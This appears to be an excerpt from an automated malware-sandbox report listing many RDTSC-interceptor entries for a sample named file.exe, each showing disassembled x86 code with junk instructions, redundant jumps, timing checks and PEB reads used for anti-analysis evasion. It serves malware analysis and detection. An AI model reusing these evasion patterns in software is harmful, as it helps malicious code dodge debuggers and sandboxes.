                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DB0837 second address: 4DB089C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007FE2B0E6B896h 0x0000000f call dword ptr [7575188Ch] 0x00000015 mov edi, edi 0x00000017 push ebp 0x00000018 mov ebp, esp 0x0000001a push ecx 0x0000001b mov ecx, dword ptr [7FFE0004h] 0x00000021 mov dword ptr [ebp-04h], ecx 0x00000024 cmp ecx, 01000000h 0x0000002a jc 00007FE2B0E9D365h 0x00000030 mov eax, 7FFE0320h 0x00000035 mov eax, dword ptr [eax] 0x00000037 mul ecx 0x00000039 shrd eax, edx, 00000018h 0x0000003d mov esp, ebp 0x0000003f pop ebp 0x00000040 ret 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007FE2B0E6B88Eh 0x00000048 adc ecx, 2EC364B8h 0x0000004e jmp 00007FE2B0E6B88Bh 0x00000053 popfd 0x00000054 mov ah, 34h 0x00000056 popad 0x00000057 pop ecx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b call 00007FE2B0E6B88Ch 0x00000060 pop ecx 0x00000061 mov cl, dl 0x00000063 popad 0x00000064 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DB089C second address: 4DB0793 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b xor esi, eax 0x0000000d lea eax, dword ptr [ebp-10h] 0x00000010 push eax 0x00000011 call 00007FE2B57E093Eh 0x00000016 mov edi, edi 0x00000018 pushad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushfd 0x0000001d jmp 00007FE2B0E330DBh 0x00000022 and ax, 7B7Eh 0x00000027 jmp 00007FE2B0E330E9h 0x0000002c popfd 0x0000002d popad 0x0000002e mov cx, 21C7h 0x00000032 popad 0x00000033 xchg eax, ebp 0x00000034 jmp 00007FE2B0E330DAh 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d mov edx, ecx 0x0000003f pushad 0x00000040 popad 0x00000041 popad 0x00000042 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90039 second address: 4D90049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B88Ch 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90049 second address: 4D9004D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D9004D second address: 4D9009D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE2B0E6B88Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov bx, si 0x00000015 pushfd 0x00000016 jmp 00007FE2B0E6B88Ah 0x0000001b add cl, 00000038h 0x0000001e jmp 00007FE2B0E6B88Bh 0x00000023 popfd 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FE2B0E6B895h 0x0000002e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D9009D second address: 4D900E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000030h] 0x0000000f jmp 00007FE2B0E330DEh 0x00000014 sub esp, 18h 0x00000017 pushad 0x00000018 mov cx, 9D09h 0x0000001c popad 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FE2B0E330DEh 0x00000027 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D900E2 second address: 4D900E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D900E6 second address: 4D900EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D900EC second address: 4D900F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D900F1 second address: 4D90106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov ebx, 42449746h 0x00000010 mov dx, E1D2h 0x00000014 popad 0x00000015 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90106 second address: 4D90119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B88Fh 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90119 second address: 4D90134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE2B0E330E0h 0x00000010 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90134 second address: 4D90139 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90139 second address: 4D90166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 6A42CAE2h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebx, dword ptr [eax+10h] 0x0000000f pushad 0x00000010 mov edx, 118ED43Ah 0x00000015 mov si, di 0x00000018 popad 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov bx, BFEAh 0x00000021 jmp 00007FE2B0E330DBh 0x00000026 popad 0x00000027 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90166 second address: 4D901B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE2B0E6B88Fh 0x00000008 mov di, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], esi 0x00000011 jmp 00007FE2B0E6B892h 0x00000016 mov esi, dword ptr [757806ECh] 0x0000001c pushad 0x0000001d mov cx, E7DDh 0x00000021 mov si, 24D9h 0x00000025 popad 0x00000026 test esi, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FE2B0E6B88Bh 0x0000002f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D901B2 second address: 4D901F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FE2B0E33D33h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE2B0E330E8h 0x00000018 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D901F1 second address: 4D90200 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90200 second address: 4D9024A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c jmp 00007FE2B0E330DCh 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FE2B0E330E1h 0x00000019 and eax, 234EA246h 0x0000001f jmp 00007FE2B0E330E1h 0x00000024 popfd 0x00000025 push eax 0x00000026 push edx 0x00000027 mov ax, C5CDh 0x0000002b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D9024A second address: 4D902D1 instructions: 0x00000000 rdtsc 0x00000002 mov ch, F1h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, edi 0x00000008 pushad 0x00000009 mov dx, BBA6h 0x0000000d mov si, di 0x00000010 popad 0x00000011 call dword ptr [75750B60h] 0x00000017 mov eax, 7668E5E0h 0x0000001c ret 0x0000001d jmp 00007FE2B0E6B899h 0x00000022 push 00000044h 0x00000024 pushad 0x00000025 call 00007FE2B0E6B88Ch 0x0000002a pushfd 0x0000002b jmp 00007FE2B0E6B892h 0x00000030 sbb ecx, 62871BA8h 0x00000036 jmp 00007FE2B0E6B88Bh 0x0000003b popfd 0x0000003c pop ecx 0x0000003d movsx edx, si 0x00000040 popad 0x00000041 pop edi 0x00000042 jmp 00007FE2B0E6B890h 0x00000047 xchg eax, edi 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b mov edx, 008A1620h 0x00000050 movsx edx, ax 0x00000053 popad 0x00000054 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D902D1 second address: 4D902E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E330DEh 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D902E3 second address: 4D902E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D902E7 second address: 4D90311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE2B0E330DEh 0x0000000e xchg eax, edi 0x0000000f pushad 0x00000010 mov si, 322Dh 0x00000014 mov ax, C429h 0x00000018 popad 0x00000019 push dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90311 second address: 4D90315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90315 second address: 4D9031B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D9031B second address: 4D90321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90321 second address: 4D90325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90325 second address: 4D90342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000030h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE2B0E6B88Dh 0x00000015 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90342 second address: 4D90348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90348 second address: 4D9034C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90371 second address: 4D9037A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 4434h 0x00000008 popad 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D9037A second address: 4D904C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b jmp 00007FE2B0E6B890h 0x00000010 test esi, esi 0x00000012 jmp 00007FE2B0E6B890h 0x00000017 je 00007FE3217DAB82h 0x0000001d jmp 00007FE2B0E6B890h 0x00000022 sub eax, eax 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FE2B0E6B897h 0x0000002b xor ax, B68Eh 0x00000030 jmp 00007FE2B0E6B899h 0x00000035 popfd 0x00000036 mov ecx, 4FD6A597h 0x0000003b popad 0x0000003c mov dword ptr [esi], edi 0x0000003e jmp 00007FE2B0E6B88Ah 0x00000043 mov dword ptr [esi+04h], eax 0x00000046 pushad 0x00000047 movzx ecx, dx 0x0000004a pushfd 0x0000004b jmp 00007FE2B0E6B893h 0x00000050 or cl, 0000004Eh 0x00000053 jmp 00007FE2B0E6B899h 0x00000058 popfd 0x00000059 popad 0x0000005a mov dword ptr [esi+08h], eax 0x0000005d jmp 00007FE2B0E6B88Eh 0x00000062 mov dword ptr [esi+0Ch], eax 0x00000065 pushad 0x00000066 pushfd 0x00000067 jmp 00007FE2B0E6B88Eh 0x0000006c jmp 00007FE2B0E6B895h 0x00000071 popfd 0x00000072 jmp 00007FE2B0E6B890h 0x00000077 popad 0x00000078 mov eax, dword ptr [ebx+4Ch] 0x0000007b jmp 00007FE2B0E6B890h 0x00000080 mov dword ptr [esi+10h], eax 0x00000083 push eax 0x00000084 push edx 0x00000085 jmp 00007FE2B0E6B897h 0x0000008a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D904C1 second address: 4D9050B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+50h] 0x0000000c jmp 00007FE2B0E330DEh 0x00000011 mov dword ptr [esi+14h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FE2B0E330E7h 0x0000001b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D9050B second address: 4D90545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 889Ah 0x00000007 mov ch, bl 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [ebx+54h] 0x0000000f jmp 00007FE2B0E6B88Ah 0x00000014 mov dword ptr [esi+18h], eax 0x00000017 jmp 00007FE2B0E6B890h 0x0000001c mov eax, dword ptr [ebx+58h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov ax, di 0x00000025 mov bx, 3A4Ch 0x00000029 popad 0x0000002a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90545 second address: 4D90590 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 mov ebx, 28382D50h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esi+1Ch], eax 0x00000011 pushad 0x00000012 movsx ebx, si 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop edx 0x00000018 pushfd 0x00000019 jmp 00007FE2B0E330E8h 0x0000001e and al, FFFFFFC8h 0x00000021 jmp 00007FE2B0E330DBh 0x00000026 popfd 0x00000027 popad 0x00000028 popad 0x00000029 mov eax, dword ptr [ebx+5Ch] 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90590 second address: 4D90594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90594 second address: 4D905AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D905AF second address: 4D905B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D905B5 second address: 4D905B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D905B9 second address: 4D905BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D905BD second address: 4D905F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+20h], eax 0x0000000b jmp 00007FE2B0E330E7h 0x00000010 mov eax, dword ptr [ebx+60h] 0x00000013 pushad 0x00000014 pushad 0x00000015 mov bl, cl 0x00000017 mov dx, 4F82h 0x0000001b popad 0x0000001c mov di, E1CEh 0x00000020 popad 0x00000021 mov dword ptr [esi+24h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D905F9 second address: 4D905FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D905FD second address: 4D90603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90603 second address: 4D90609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90609 second address: 4D90645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+64h] 0x0000000b jmp 00007FE2B0E330E7h 0x00000010 mov dword ptr [esi+28h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE2B0E330E5h 0x0000001a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90645 second address: 4D906D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B891h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+68h] 0x0000000c jmp 00007FE2B0E6B88Eh 0x00000011 mov dword ptr [esi+2Ch], eax 0x00000014 jmp 00007FE2B0E6B890h 0x00000019 mov ax, word ptr [ebx+6Ch] 0x0000001d jmp 00007FE2B0E6B890h 0x00000022 mov word ptr [esi+30h], ax 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FE2B0E6B88Eh 0x0000002d sbb ah, FFFFFF98h 0x00000030 jmp 00007FE2B0E6B88Bh 0x00000035 popfd 0x00000036 movzx eax, di 0x00000039 popad 0x0000003a mov ax, word ptr [ebx+00000088h] 0x00000041 jmp 00007FE2B0E6B88Bh 0x00000046 mov word ptr [esi+32h], ax 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D906D5 second address: 4D906D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D906D9 second address: 4D906DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D906DF second address: 4D906E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D907AB second address: 4D907E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B896h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a lea eax, dword ptr [ebx+00000080h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE2B0E6B897h 0x00000017 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D907E5 second address: 4D907EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D907EA second address: 4D907FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, di 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push 00000001h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D907FC second address: 4D90800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90800 second address: 4D90806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90806 second address: 4D90859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 push ecx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d jmp 00007FE2B0E330E2h 0x00000012 pushad 0x00000013 mov ah, 6Ah 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007FE2B0E330E5h 0x00000021 xor ah, FFFFFFF6h 0x00000024 jmp 00007FE2B0E330E1h 0x00000029 popfd 0x0000002a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90859 second address: 4D9087A instructions: 0x00000000 rdtsc 0x00000002 mov ax, 94E7h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx ecx, bx 0x0000000b popad 0x0000000c nop 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE2B0E6B892h 0x00000014 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D9087A second address: 4D9088C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E330DEh 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90931 second address: 4D9095F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B899h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edi, edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE2B0E6B88Dh 0x00000012 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D9095F second address: 4D90999 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FE3217A1E25h 0x0000000f jmp 00007FE2B0E330DEh 0x00000014 mov eax, dword ptr [ebp-0Ch] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FE2B0E330DAh 0x00000020 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90999 second address: 4D9099F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D9099F second address: 4D909BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 mov ah, 27h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esi+04h], eax 0x0000000d jmp 00007FE2B0E330DBh 0x00000012 lea eax, dword ptr [ebx+78h] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D909BF second address: 4D909C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D909C6 second address: 4D90A00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE2B0E330DFh 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push 00000001h 0x0000000e jmp 00007FE2B0E330DFh 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov bh, 69h 0x00000019 jmp 00007FE2B0E330DCh 0x0000001e popad 0x0000001f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90A00 second address: 4D90A06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90A06 second address: 4D90A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90A0A second address: 4D90A29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ax, 04B9h 0x00000013 movzx ecx, bx 0x00000016 popad 0x00000017 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90ACB second address: 4D90B21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b jmp 00007FE2B0E330E0h 0x00000010 test edi, edi 0x00000012 jmp 00007FE2B0E330E0h 0x00000017 js 00007FE3217A1C8Ch 0x0000001d jmp 00007FE2B0E330E0h 0x00000022 mov eax, dword ptr [ebp-04h] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90B21 second address: 4D90B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90B26 second address: 4D90B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90B2C second address: 4D90B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
